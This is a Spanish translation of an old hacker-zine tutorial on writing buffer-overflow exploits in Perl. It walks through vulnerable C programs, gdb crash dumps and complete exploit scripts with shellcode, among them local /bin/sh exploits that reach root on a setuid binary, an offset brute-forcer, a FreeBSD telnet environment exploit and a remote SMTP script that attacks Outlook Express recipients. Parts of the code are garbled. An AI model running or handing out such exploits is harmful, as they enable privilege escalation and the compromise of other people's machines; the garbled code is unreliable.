La segunda parte de este texto, comenta algunos ejemplos mas y juega con los registros de la pila, tambien es un buen texto.
Texto Completo:
-+-| DisidentS Hack Journal #3 |-+-
__________________________________________________________________________
| |
| -+- Titulo_____: Buffer Overflows en Perl [008.txt] |
| -+- Autor______: Taseh (traduccion). |
| -+- E-Mail_____: <
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
> |
| -+- Team_______: DisidentS España - http://www.disidents.int-ltd.com |
| -+- KB_________: 19.3 |
| -+- Tema_______: Artesania |
|__________________________________________________________________________|
Escribiendo exploits - Con perspectivas en PERL
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Introduccion
Los exploits basados en buffer overflow escritos en PERL, no estan tan
trabajados como los exploits en C . Este breve texto tratara sobre maneras
que se pueden utilizar en perl para crear un exploit, con mayor facilidad
que hacer un exploit en C. Despues de todo, PERL fue creado para la
manipulacion de datos, porque no lo usamos para ello? ;).
Descripcion
Empecemos con un simple y popular ejemplo:
-- vuln.c --
#include
int main(int argc, char **argv) {
char buffer[180];
if(argc>1)
strcpy(buffer,argv[1]);
printf("got data!\n");
}
-- end vuln.c --
El error de overflow es obvio. Una copia directa sin chequear el limite en
el 'buffer' permite que el overflow tome forma y reescriba la direccion de
memoria EIP.
[ dethy@fw ~ ]$ gcc -o vuln vuln.c
[ dethy@fw ~ ]$ ./vuln A
got data!
Nada interesante. Incrementemos los datos de entrada.
[dethy@fw ~ ]$ ./vuln `perl -e 'print "A"x184'`
got data!
Segmentation fault(core dump)
Aqui vemos como hemos overfloweado el buffer, pero tenemos que reescribir
el EIP para modificar la ejecucion del programa mas tarde, entendido?
Es importante recordar que la memoria tiene una direccion de 4 bytes llevada
a cabo en 1 byte char.
Ejemplo:
| 83 | --
| 84 | -- 4 bytes de la direccion de memoria del 1er almacenador de datos
| 85 | --
| 86 | --
| 87 | --
| 88 | -- Otros 4 bytes para la direccion siguiente
| 89 | --
| 90 | --
Volvamos atras hasta el dibujito de la mmoria, forzamos el programa a
dumpear.
[ dethy@fw ~ ]$ gdb vuln core --quiet
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x40033a1e in __libc_start_main () from /lib/libc.so.6
(gdb) info reg
eax 0x400ff0d8 1074786520
ecx 0xbffff910 -1073743600
edx 0x1 1
ebx 0x400ffed4 1074790100
esp 0xbffff908 0xbffff908
ebp 0x41414141 0x41414141
esi 0x4000acb0 1073786032
edi 0xbffff954 -1073743532
eip 0x40033a1e 0x40033a1e
eflags 0x10292 66194
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
Los registros mas importantes son conocidos como:
* esp - extended stack pointer
* ebp - extended base pointer
* eip - extended instruction pointer
Como podemos ver, EIP no fue sobreescrito, pero EBP si.
Ahora, sabemos el que estado de la memoria es parecido a esto:
__|__
| |
| EBP | - Direccion de 4 bytes.
|_____|
__|__
| |
| EIP | - Proxima direccion de 4 bytes.
|_____|
Sabemos bien que si añadimos 4 bytes extra de datos a nuestra entrada
string ie ./vuln `perl -e 'print' "A"x88'` sobreescribiremos completamente
el puntero de instruccion (eip).
[ dethy@fw ~ ]$ ./vuln `perl -e 'print "A"x88'`
got data!
Segmentation fault (core dumped)
[ dethy@fw ~ ]$ gdb vuln core --quiet
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) info reg
eax 0xa 10
ecx 0x40014000 1073823744
edx 0x400fe660 1074783840
ebx 0x400ffed4 1074790100
esp 0xbffff910 0xbffff910
ebp 0x41414141 0x41414141
esi 0x4000acb0 1073786032
edi 0xbffff954 -1073743532
eip 0x41414141 0x41414141
eflags 0x10282 66178
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
Nuestra prediccion es correcta. El 0x41 es el equivalente en hexadecimal
de "A", la reescritura completa ha salido bien.
Nuestro buffer ahora se parece a esto:
EIP
______|_______
/ | | \
187 188 189 190
A A A A -> Nuestros datos de entrada
41 41 41 41 -> Direccion hexadecimal( 41414141 )
Ahora, como creamos el exploit ?
El primer paso es tener el valor de ESP, en este caso el valor de ESP es
0xbffff910. Creamos una shellcode que ejecute la shell /bin/sh, llena $buf
con la longitud de datos que necesitamos para reescribir EIP, y $ret von
el valor de ESP.
-- exp.pl --
#!/usr/bin/perl
$shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" .
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
$ret = 0xbffffaa0;
$buf = 188;
$egg = 2000;
$nop = "\x90";
$offset = 0;
if (@ARGV == 1) { $offset = $ARGV[0]; }
$addr = pack('l', ($ret + $offset));
for ($i = 0; $i < $buf; $i += 4) {
$buffer .= $addr;
}
for ($i = 0; $i < ($egg - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}
$buffer .= $shellcode;
exec("./vuln", $buffer,0);
-- end exp.pl --
[ dethy@fw ~ ]$ perl exp.pl
got data!
Illegal instruction
Ouch. Mira como hemos de la sehll /bin/sh. Ahora, pongamos $offset para
usar un rango, para que nuestra shellcode se ponga en la memoria.
Ejecuta el siguiente script para obtener el ofset correcto para explotar la
shell.
#!/usr/bin/perl
for($i=-2000;$i<2000;$i++) {
print("trying offset: $i\n");
system("ulimit -c 0;./exp.pl $i");
}
[ dethy@fw ~ ]$ perl brute.pl
trying offset: -2000
got data!
trying offset: -1999
got data!
..
trying offset: 100
bash#
(por supuesto, si el programa tiene suid, it would drop us to root, para
el proposito de este texto. I made the vulnerable program setuid root).
El offset 100 es donde esta nuestro payload. Añadamos esto a el 'exp.pl'
inicial.
[ dethy@fw ~ ]$ id
uid=511(dethy) gid=100(users) groups=100(users)
[ dethy@fw ~ ]$ ./exp.pl 100
got data!
bash# id
uid=0(root) gid=100(users) egid=0(root) groups=100(users)
Bingo. Como podemos ver, encontramos la direccion de /bin/sh en memoria.
No esta de mas apreciar que el exploit hizo un $egg y lleno el buffer,
conteniendo NOPS + SHELLCODE + RET fuera del buffer vulnerable. Creamos
el payload en otro buffer, puesto que el original pudo haber sido demasia-
do pequeño para nuestras necesidades.
Ahora un ejemplo de un overflow en una variable de entorno, en comparacion
con el overflow de la entrada de la linea de comandos.
-- vuln2.c --
#include
main() {
char buffer[1024];
if (getenv("USER") == NULL) {
fprintf(stderr, "Oops!\n");
exit(1);
}
strcpy(buffer, (char *)getenv("USER"));
printf("Environment variable USER is:\"%s\".\n", buffer);
return 1;}
-- end vuln2.c --
Una excesivamente larga variable de usuario sera copiada no chekeada
en el buffer que tiene como limite 1024 caracteres. Sabido esto, vamos
a empezar con lo practico.
[ dethy@fw ~ ]$ ./vuln2
Environment variable USER is: "dethy".
[ dethy@fw ~ ]$
Assumed:
1025 1026 1027 1028 would be the address of EBP
1029 1030 1031 1032 would be the EIP
Si ponemos mas de 1032 char string para la variable de entorno USER
sobreescribira EIP.
[ dethy@fw ~ ]$ export USER=`perl -e 'print "A"x1032'`
[ dethy@fw ~ ]$ ./vuln2
Environment variable USER is:
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
Segmentation fault (core dumped)
[ dethy@fw ~ ]$ gdb vuln2 core --quiet
(no debugging symbols found)...Core was generated by `./vuln2'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0x41414141 in ?? ()
(gdb) info reg esp
esp 0x7ffff8e0 0x7ffff8e0
La direccion ESP es la direccion que usaremos en nuestro exploit, por lo
tanto, vamos a crearla. El tan mencionado exp.pl es un exploit de ejemplo
de crear la payload fuera del buffer (descubierto por el famoso aleph1).
Ahora, puesto que el buffer vulnerable es bastante grande para rellenar
con nuestra shellcode, llenaremos este buffer con nuestra payload dentro
del buffer.
-- exp2.pl --
#!/usr/bin/perl
$shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" .
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0" .
"\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" .
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
$buf = 1032; # Tamaño del buffer
$ret = 0x7ffff8e0;
$nop = "\x90"; # NOP x86
$offset = -96; # Trabajado para mi
if (@ARGV == 1) { $offset = $ARGV[0]; }
for ($i = 0; $i < ($buf - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}
$buffer .= $shellcode;
$addr = pack('l', ($ret + $offset));
for ($i += length($shellcode); $i < $buf; $i += 4) {
$buffer .= $addr;
}
$ENV{'USER'} = $buffer; exec("./vuln2");
-- end exp2.pl --
Environment variable USER is:
"
1À1Û°øÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿøÿ".
bash#
Otra cosa importante a recordar es que el offset que adivinamos puede
evitar eliminar todos los valores desde el entorno
Ejemplo:
foreach $key (keys %ENV) {
delete $ENV{$key};
}
Por supuesto este situacion en una variable de entorno es el overflow de
getenv() descrito abajo.
-- telnetex.pl --
$egg = "\x90" x 1500;
# FreeBSD x86 shellcode
$egg .= "\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\x36\x89\x76" .
"\x04\x89\x76\x08\x83\x06\x10\x83\x46\x04\x18\x83\x46\x08\x1b" .
"\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x1d\x50\x56\xff" .
"\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07\x07\xe8\xc4\xff" .
"\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02" .
"\x02\x02\x02/bin/sh.-c.sh";
foreach $key (keys %ENV) {
delete $ENV{$key};
}
for ($i = 0; $i < 100; $i++) { $buf .= "\x01\xda\xbf\xbf"; }
$ENV{"DISPLAY"} = $buf;
$ENV{"egg"} = $egg;
system("/usr/bin/telnet localhost");
-- end telnetex.pl --
El ejemplo de arriba nos muestra un estilo de escritura diferente. $egg
agrega los NOPs (\x90) y la shellcode via PERL 'concatenation implemen-
tation( .= ). $buf es cargado a la inversa (como el sistema normalmente
procesa las direcciones).
\x01\xda\xbf\xbf = 0xbfbfda01
La variable dispositivo es despues cargada con este valor, y cuando se
produzcan negociaciones cliente/servudir el dispositivo funciona apun-
tando $egg en memoria, donde nuestra shellcode esta almacenada.
Porque crear $egg despues de todo, hemos añadido el payload a $buf?
En muchos casos el buffer que estamos desbordando no tiene suficiente
espacio para almacenar la shellcode en el (local buffer overflows).
Para arreglar este problema con buffers pequeños, creamos un $egg y lo
ponemos como variable de entorno. $egg sin limitaciones d tamaño puede
ser mas grande o mas pequeño, segun lo que necesites para almacenar tu
shellcode. Despues, la necesita el puntero; el $ret para apuntar la
direccion donde $egg es alamcenado y donde la shellcode sera ejecutada
Solo unos pocos bytes son necesitados para almacenar la direccion $ret
en el buffer, solucionando problemas importanyes. ;)
El proximo ejemplo es un exploit que yo cree para UssrLabs, el exploit
hace funcionar un navegador IE en la maquina de la victima, el exploit
funciona debido a que existe un overflow en la cabezera MIME de Outlok
Express 4.x y 98.
-- outoutlook.pl --
#!/usr/bin/perl
#
# Arbitary shellcode injector over SMTP exploits Microsoft Outlook.
# ./{jumi [*3] [http://www.govannom.org/seguridad/buf_overf/escribiendo_exploits_en_perl_02.txt]} -h -m
# ./dieoutlook.pl -h host -m victim@address
#
# Por: dethy, Junio del 2000
#
use Getopt::Std;
use Socket;
getopt('h:m', \%args);
if(defined($args{h})){$serv=$args{h}}else{&usage;}
if(defined($args{m})){$rcpt=$args{m}}else{&usage;}
# Estos datos son los que causan el overflow
$spawn = "\x2b\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" .
"\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" .
"\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" .
"\x31\x31\x31\x31\x31\x31\x31\x31\x5a\xdc\xae\x20\x78\x0d\x0a";
# Windows x86 shellcode
$shellcode = "\xE8\x00\x00\x00\x00\x5D\x81\xED\x40\x10\x40\x00\x81\xC4\x00" .
"\x03\x00\x00\xB8\x38\x10\x00\x01\x8B\x00\x89\x85\x0B\x11\x40\x00" .
"\x8C\xC8\xA8\x04\x75\x08\x8B\x85\x1F\x11\x40\x00\xEB\x06\x8B\x85" .
"\x23\x11\x40\x00\x89\x85\x1F\x11\x40\x00\x8D\x8D\x42\x11\x40\x00" .
"\x51\x50\xFF\x95\x0B\x11\x40\x00\x89\x85\x0F\x11\x40\x00\x8D\x8D" .
"\x53\x11\x40\x00\x51\xFF\x95\x0F\x11\x40\x00\x8D\x8D\x34\x11\x40" .
"\x00\x51\x50\xFF\x95\x0B\x11\x40\x00\x89\x85\x13\x11\x40\x00\x8B" .
"\x85\x1F\x11\x40\x00\x8D\x8D\x27\x11\x40\x00\x51\x50\xFF\x95\x0B" .
"\x11\x40\x00\x89\x85\x17\x11\x40\x00\x8D\x85\x1B\x11\x40\x00\x50" .
"\x6A\x00\x6A\x00\x8D\x85\xE3\x10\x40\x00\x50\x6A\x00\x6A\x00\x8B" .
"\x85\x17\x11\x40\x00\xFF\xD0\xEB\xFE\x60\xE8\x00\x00\x00\x00\x5D" .
"\x81\xED\xE9\x10\x40\x00\x6A\x00\x6A\x00\x6A\x00\x8D\xB5\x5F\x11" .
"\x40\x00\x56\x6A\x00\x6A\x00\xFF\x95\x13\x11\x40\x00\x61\xC2\x10" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\xF0\x77\x00\x00\xF7\xBF\x43\x72\x65" .
"\x61\x74\x65\x54\x68\x72\x65\x61\x64\x00\x53\x68\x65\x6C\x6C\x45" .
"\x78\x65\x63\x75\x74\x65\x41\x00\x47\x65\x74\x4D\x6F\x64\x75\x6C" .
"\x65\x48\x61\x6E\x64\x6C\x65\x41\x00\x73\x68\x65\x6C\x6C\x33\x32" .
"\x2E\x64\x6C\x6C\x00\x77\x77\x77\x2E\x75\x73\x73\x72\x62\x61\x63" .
"\x6B\x2E\x63\x6F\x6D\x00";
$ret = 00aedc5a; # Sentencia de retorno
$nop = "\x90"; # NOP para x86
$port = 25; # Puerto STMP, por defecto 25
$buffsize = 1348; # Tamaño del buffer
$buffer .= $nop x 945; # Carga $buffer con 945 NOP's
$shellcode
$buffer .= $shellcode; # Añade la shellcode al buffer.
$offset = (hex $ret); # Retorno hex string para el valor correspondiente
$code = pack("l", $offset); # Orden signed long
while (length $buffer < $buffsize) { $buffer .= $code; }
$buffer .= "\n\n";
print "$code\n";
# create random MAIL FROM field. format is: [ alphanumeric ] @ [ characters ] . [ domain ]
$max=(int rand 15);
@a=('a'..'z', '1'..'10'); for (1..$max) { $str .= $a[rand @a] }
@a=('a'..'z'); for (1..$max) { $host .= $a[rand @a] }
@dom = ('.com', '.net', '.org');
$rdom = $dom[ rand @dom ];
$rmail = $str . "@" . $host . $dom;
print "random address set to: $rmail\n";
# Metodo alatorio de fechas, formato: Fecha: , 2000
@days = ('Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun');
$rday = $days[ rand @days ];
$rcal=(int rand(31));
$rhour=(int rand(23)); if ($rhour < 10){ $rhour = "0".$rhour; }
$rmin=(int rand(59)); if ($rmin < 10){ $rmin = "0".$rmin; }
$rsec=(int rand(59)); if ($rsec < 10){ $rsec = "0".$rsec; }
@months = ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Oct', 'Sep', 'Nov', 'Dec');
$rmonth = $months[ rand @months ];
$date = "Date: ".$rday.","; if ( $rcal >9 ){$date = $date."$rcal"." $rmonth"." 2000 ".$rhour.":".$rmin.":".$rsec," ";}
else { $date = $date." $rcal"." $rmonth"." 2000 ".$rhour.":".$rmin.":".$rsec," ";}
print "date set to: $date\n";
$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(S, $paddr) || die("Error: $!\n");
select(S); $| = 1; select(STDOUT);
# Empiezan nuestras transacciones SMTP
print "now starting SMTP transaction\n";
$res=; print "$res\n";
print "sending HELO\n";
sleep 2;
print S "HELO\r\n";
$res=; print "$res\n";
print "sending MAIL FROM\n";
sleep 2;
print S "MAIL FROM:$rmail\r\n";
$res=; print "$res\n";
print "sending RCPT\n";
sleep 2;
print S "RCPT TO:$rcpt\r\n";
$res=; print "$res\n";
print "sending DATA\n";
sleep 2;
print S "DATA\r\n";
$res=; print "$res\n";
print "sending escape characters\n";
print S "$date";
print S "$spawn";
print "sending shellcode\n";
print S "$shellcode\r\n\r\n\r\n";
$res=; print "$res\n";
print S ".\r\n";
print S "QUIT\r\n";
print "shellcode spawn was successful\n";
close(S);
sub usage {die("\n\n./{jumi [*3] [http://www.govannom.org/seguridad/buf_overf/escribiendo_exploits_en_perl_02.txt]} -h -m \n\n");}
-- end outoutlook.pl --
Estoy seguro de que ahora entiendes porque perl tiene una flexibilidad
y una buena utilidad para la manipulacion de datos buenisimas, mucho
mejor que C, y puede y es facil para la explotacion de bugs.
Espero que hayas entendido el contenido de este texto ;)
----------------------------------------------------------------------
dethy [
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
| www.synnergy.net ]
[ Synnergy Networks 1998 - 2001 ]
*** Fin de traduccion ***
[ Saludos a todos. Taseh <
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
> - http://www.x0und.net ]
|